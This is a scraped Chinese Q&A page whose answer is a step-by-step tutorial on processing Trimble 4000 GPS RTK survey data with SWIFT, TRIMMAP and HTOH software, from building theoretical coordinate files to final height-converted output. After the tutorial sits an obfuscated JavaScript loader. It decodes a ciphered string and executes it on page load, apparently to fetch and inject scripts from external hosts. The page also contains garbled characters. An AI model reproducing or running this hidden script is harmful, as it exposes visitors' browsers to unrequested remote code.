目前应用于GPS网络RTK数据处理的方法有哪几种?

2025-03-25 06:19:33
推荐回答(1个)
回答1:

Trimble 4000系列接收机RTK数据处理过程Trimble 4000系列接收机RTK数据处理过程
进行Trimble 4000系列接收机的RTK数据处理,要用到以下软件:
�8�5 SWIFT 3.0
主要作用:生成理论坐标文件,进行理论与实测数据比较,数据文件格式转换。
�8�5 TRIMMAP 6.0
主要作用:给测量控制器(TDC1、TSC1)上装理论数据DC文件,从测量控制器下装RTK数据,RTK数据处理。
�8�5 HTOH
是一个塔里木高精度大地水准面差距值数据库软件,主要进行塔里木盆地地区的大地高到海拔高的转换。
这里将详细介绍一条欲放样的物探地震测线,从理论坐标数据的建立、上装,到野外采集的RTK数据的下装、处理,再到最终成果的生成等的步骤。具体内容见下:
一. 创建理论的DC格式坐标文件
1. 建立测线的理论CMB格式坐标文件
1.1. 在SWIFT3.0软件里找到CMB格式表头文件—HEAD.CMB,把已知测线的两端点坐标按CMB格式编辑进HEAD.CMB,然后选Save As(另存为),另取一个文件名保存此文件(如zb.cmb)。
1.2. 运行“T_FINTP.EXE”(测线物理点文件内插)程序,在弹出的对话框中进行以下设置:
文件格式: 输入“SWIFT软件生成的CMB文件格式”
输入文件: 输入将内插坐标的源文件(如zb.cmb)
输出文件: 取一个输出的内插好理论坐标的文件(如llzb.cmb)
点号增量: 按欲放样测线的地震勘探要求输入
点间距离: 按欲放样测线的地震勘探要求输入
各项输入好后,按“运行”执行此程序。即可生成一个理论CMB格式文件(llzb.cmb)。
2. 创建DC文件格式的理论坐标文件
下面将进入TRIMMAP6.0软件的运行环境,把CMB格式的llzb.cmb文件转成一个DC格式文件。
2.1. 建立一个理论的坐标数据库
在TRIMMAP主菜单,选取Job/New,开始一个新的测量作业,弹出一个Job initialisation details对话框,在对话框中作如下设置:
�8�5 Job identifier(作业标识)
输入1到3个的字符来标识当前的Job。构成此Job的文件均采用此后缀名来标识。(如输入:LZB)
�8�5 Directory to store job in(储存作业的目录)
设置一个构成此Job的数据文件所在目录,比如:C:\MAPDATA\
�8�5 Job name(作业的名称)
简要输入一个能说明作业主题的名称。如:The Theoretic Coord-inates of HD99-185。
�8�5 Projection type(投影类型)
选择一种当地坐标系的投影方式。这里我们选Transverse Merc-ator(横轴迈卡托投影),然后弹出Projection summary field(投影概述)设置框,对以下各项进行设置(以北京新54系15度带投影参数为例):
False northing: 0.00
False easting: 500000.00
Origin latitude: 0° N
Central meridian: 87°E(54系15度分带)
Central meridian scale factor: 1.0
Falttening: 1/298.3
Earth radius: 6378245.0
�8�5 Datum transformation(基准转换)
点击Datum transformation后,弹出User defined datum transformation parameters(用户自定义的基准参数)对话框,在对话框中点击Type of transformation(转换的类型),选择Three parameter(三参数),紧接着显出三参数设置项,设置如下:
Rotation about x axis(对于X的旋转)
填入:-15.79088
Rotation about y axis(对于Y的旋转)
填入:154.41746
Rotation about z axis(对于Z的旋转)
填入:82.29058
注:以上X、Y、Z三参数值只适用于塔里木地区。
各项参数都设置好后,点击OK即建立一个名为LZB的Job。
2.2. 将CMB格式的理论数据文件(llzb.cmb)读入Job(LZB)中
在名为LZB的Job中,从TRIMMAP主菜单选取Tools→Import/Export→Write/Read ASCII,弹出一个Write or read ASCII对话框,对话框设置如下:
�8�5 Action(操作)
选择Receive(接收)
�8�5 Input format(输入的格式)
从列表中选择Swift CMB Inputv3.0
�8�5 Input filename(输入的文件名)
输入欲读进的文件的路径及文件名(c:\swift\llzb.cmb)
单击OK,即把llzb.cmb文件装入了Job。
2.3. 创建DC文件
2.3.1. 在TRIMMAP主菜单,选取Tools/Process field data/Create DC file,进入Create DC file(创建DC文件)对话框,设置如下:
�8�5 DC job identifier(DC作业标识符)
一般输入一个容易和其它DC文件相区别的标识,比如这里我们就直接输入测线名:HD99-185。
�8�5 DC version(DC文件版本号)
选择一个欲生成的DC文件的版本号。视欲上装数据的测量控制器版本而定。
2.3.2. 单击OK,进入Great DC file HD99-185编辑框,在编辑框中检查各项设置是否正确,若不对,还可以改正。
2.3.3. 检查好设置后,再击F10键,弹出一个Options menu(操作菜单)列表,常用的功能项如下:
�8�5 [1]Search for observation point F1
选择此项或按F1,将弹出一个观测点的搜索对话框,通过输入欲搜索的点的名号、点的特征码等在文件中快速查找此点。
�8�5 [2]Insert after current record F2
选择此项或按F2,将插入一个新的记录到当前置亮的记录后面。
�8�5 [3]Delete current record F3
移动光标到欲删除的记录上,选择此项或按F3,即删除此项记录。
�8�5 [4]Undo last delete F4
选择此项或按F4,将恢复最后一次用Delete current record删除的数据。
�8�5 [6]Load main database points F6
选择此项或按F6,将从当前的Job数据库中装入数据。
�8�5 [12]View notepad
选择此项,查看生成的观测数据的检查报告。
�8�5 [13]Clear notepad
选择此项,将清除上一次生成的观测数据的检查报告。
2.3.4. 在列表中选择第六项(Load main database points载入主数据库中的点)或按F6键,弹出一个Loading points from job(LZB)(从LZB作业中装载点)对话框,其中Point(点号)一项选择Description。其余项按缺省设置。
2.3.5. 再按两下F1键,就显示出所有的转换成DC文件格式的点号及坐标。
2.3.6. 按ESC键,在弹出的选项框中选择F3键(Save and exit),保存数据并退回到TRIMMAP主菜单。至此,完成创建DC文件的全过程。

[sell=500]

二. DC文件的上装
创建好DC文件后,下一步就是把DC文件上装到在野外进行数据采集的测量控制器上(TDC1、TSC1),步骤如下:
在TRIMMAP主菜单,选取Tools/Process field data/Send files,弹出Send files(发送文件)设置框,进行如下设置:
�8�5 Output device(输出的设备)
选择欲上装数据的设备名,这里我们选择Survey Controller v4.0(4.0版的测量控制器)
�8�5 Comm port(串行口)
选择计算机和测量控制器连接时采用的串口,这里我们选择com1。
�8�5 Max baud rate(最大波特率)
设置数据传输时采用的最大波特率,这里我们选择38400。
�8�5 File type(文件类型)
输入发送的文件类型,选择DC file。
打开测量控制器,进入到数据传送状态,保证通讯参数的设置和Send files设置框一致后,单击OK,弹出一个DC文件列表框,从中找到即将上装的数据文件(HD99-185),再单击OK,开始DC文件数据的上装。
三. RTK数据处理
把理论坐标通过RTK测量放样到实地并采集坐标数据后,即可进行RTK的内业数据后处理。具体步骤如下:
1. 建立一个新的Job来作为实际放样点坐标数据库。
在TRIMMAP主菜单,选取Job/New,开始一个新的测量作业,弹出一个Job initialisation details对话框,在对话框中作如下设置:
�8�5 Job identifier(作业标识)
因为储存到Job中的测线不止一条,所以作业标识可以用测线名来标识,如这里我们可输入185。
�8�5 Directory to store job in(储存作业的目录)
我们把实测的数据储存到新建的C:\RTKDATA\目录中去。
�8�5 Job name(作业的名称)
简要输入作业主题的名称。如:The Coordinates of HD99-185。
�8�5 上面三项设置完后,后面的几项转换参数就不用一个一个去手输了,只须点按Copy parms(拷贝参数),在弹出的对话框中查找具有相同转换参数的Job(比如新建的Job(LZB),单击OK,拷贝参数到当前的Job中。
点击OK即建立一个名为“185”的Job。
2. 从测量控制器中下装采集的RTK数据
在TRIMMAP主菜单,选取Tools/Process field data/Receive DC file,弹出Receive DC file(接收DC文件)对话框,进行以下各项设置:
�8�5 input device(输出的设备)
选择连接的欲下装数据的设备名,这里我们选择Survey Controller v4.0(4.0版的测量控制器)
�8�5 Communications port(串行口)
选择计算机和测量控制器连接时采用的串口号,这里我们选择com1。
�8�5 Max baud rate(最大波特率)
设置数据传输时采用的最大波特率,这里我们选择38400。
各项设置好后,按OK,开始下装数据。
3. DC文件的编辑及观测数据质量检验
从测量控制器下装完DC文件数据后,还要进行编辑。方法如下:
3.1. 运行本处自编的RAWEDIT.EXE程序,选择欲编辑的DC文件,来剔除文件中原有的理论点坐标及在RTK作业中生成的多余的、不影响测量成果的信息数据。
3.2. 再运行一个自编的DCQC.EXE程序,来检查下装的DC文件中各点观测时的PDOP值、卫星数等质量控制情况,如果超限,则在编辑DC文件时删去超限的点。
3.3. 在TRIMMAP主菜单,选取Tools/Process field data/Edit DC file,弹出Edit DC file(编辑DC文件)对话框。点击DC 文件列表项,在弹出的文件列表中找到欲编辑的DC文件(hd99-185),按OK后,进入DC文件(HD99-185)数据的编辑框,在此状态下可以编辑DC 文件:修改输错的点号、天线高,删除重复及错误的点号数据等。编辑时使用的功能键操作的方法参见第一章的2.3.3小节-- Options menu(操作菜单)常用功能键简介。
3.4. 编辑完数据后,下一步就是对文件中的观测数据进行质量检验了,按ESC键,弹出Tolerance checks(允许误差检查)输入框,在输入框中我们进行如下设置:
Vector uncertainty 0.20
如果向量误差超过0.2m,那么在报告中列出此点。
Confidence limit on vector uncertainty 95.0
向量误差的置信度设为95。
Duplicate point tolerance 0.20
如果有重复的点位误差超过0.2m,那么在报告中列出此点。
注:向量误差、重复点位误差的限差设定视RTK作业要求而定,这里只是举了个例子。
3.5. 单击OK,在屏幕上即刻生成一份检查报告。如果有超出限差以外的点,均列在报告的最上面。记下超限的点号,在野外进行补测。
3.6. 按ESC键,弹出一个功能列表框,常用功能简略如下:
Transfer edited DC file to database
把编辑好的DC文件转到数据库中
Save and exit
保存编辑过的数据并退回到主菜单
Continue editing file
继续编辑文件
View notepad
查看生成的检查报告。如在TRIMMAP主菜单中选取 View/Clean notepad,可以清除检查报告。
Print notepad
把检查报告输出到一个文件或是打印机中
在功能列表框中选择Continue editing file(继续编辑文件),再次编辑DC文件,删除超限的点。
3.7. 编辑完后,按ESC键,又会重复出现本节3.4到3.5中的步骤,确保数据准确无误后,按ESC键,从弹出的功能列表框中选择Save file and exit(储存文件并退出),保存编辑过的DC文件,返回到TRIMMAP主菜单。
4. 把编辑好的DC文件加到当前Job的数据库中
在TRIMMAP主菜单,选取Tools/Process field data/DC file to database,弹出DC file to database对话框。在对话框中,点击DC file项,从文件列表中选取刚编辑过的DC 文件(HD99-185),然后返回到对话框,单击OK,开始把选好的DC文件数据传入到当前数据库中。
至此,已基本完成RTK数据的后处理工作。
四. 最终测量数据TXT格式文件的生成
我们实际上交的测量数据是北京新54系的平面直角坐标TXT格式的文件,而TRIMMAP中各测线的数据是以DC文件格式存在的,所以还要进行DC文件到TXT文件的转换,具体步骤如下:
1. 生成一个北京54系CMB格式文件
1.1. 在TRIMMAP主菜单,选取Tools→Import/Export→Write/Read ASCII,弹出一个Write or read ASCII对话框,进行以下几项设置:
�8�5 Action(操作)
选择Create(创建)
�8�5 Output format(输出的格式)
从列表中选择Swift CMB(Standard)格式
�8�5 Output filename(输出的文件名)
给输出的文件起一个文件名及指定一个路径(c:\swift\hd99-185.cmb)
1.2. 单击Select points(选点),出现一排选择按扭,常用的几个按扭功能如下:
�8�5 Lasso(套索)
按下此纽,可实现用鼠标在数据库中把想转换的点画成一个套索来圈上,输出到指定的格式文件时,只输出套索中的数据。
�8�5 Field selection(区域选择)
按下此纽,可任意选择输出的测线、点号。在弹出的对话框中:如果想从数据库中选择某条指定的测线,可在Desc(描述)中输入一个测线中所有的点共有的信息(如:测线名hd99-185);如果只想取某测线中的一段数据,可接着在“__to__”(从哪个号到哪个号)中输入那一段数据的起始号。
�8�5 All(所有的)
按下此纽,将选择数据库中所有测线的点都按指定的格式输出到一个文件。
1.3. 选好范围后,点按OK,即在c:\swift\下生成了一个名为hd99-185.cmb的北京新54系CMB格式坐标文件。
注:经转换生成的CMB文件中,ELEVATION(海拔高)一项显示的是BJ54系的椭球高,而非海拔高。因此我们还要进行WGS84大地高到BJ54海拔高的转换。
2. 生成一个WGS-84大地坐标文件
重复本章第1节的步骤,在Output format(输出的格式)项中选择WGS-84 FOR HEIGHT格式,然后再指定一个文件名(如c:\swift\hd99-185.84)即可。
注:生成的这个WGS-84大地坐标文件格式必须和HTOH软件包中的X.BLH文件格式相一致。否则,在下一节执行F84.EXE时,程序执行出错,不给转换。
3. 大地高到海拔高的转换
在HTOH软件包中执行F84.EXE程序,根据提示输入欲转的84系大地坐标文件(hd99-185.84),再起一个输出的54系海拔高文件名(如hd99-185.54)。在生成的hd99-185.54文件里“Normal_H”项所指既为各点的54系海拔高。
4. 数据合并
把转换成海拔高的hd99-185.54文件中各点对应的“Normal_H”项海拔高数据加到hd99-185.cmb文件中,替换掉原来的“ELEVATION”项上的椭球高数据,合并为一个正确的54系的CMB格式坐标文件。
5. CMB文件检查
在SWIFT3.0里运行T_CMBCHK.EXE,来进行理论坐标文件(llzb.cmb)与实测的转成CMB格式的文件(hd99-185.cmb)的比较,检查实际放样点与理论点的坐标偏移量,如果超出了限差范围,则要求重测。
6. 把CMB格式文件转成TXT格式文件
保证CMB文件(hd99-185.cmb)数据准确无误后,在SWIFT3.0中运行T_CON.EXE程序,把CMB文件(hd99-185.cmb)转成最终上交的TXT成果文件(hd99-185.txt)。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();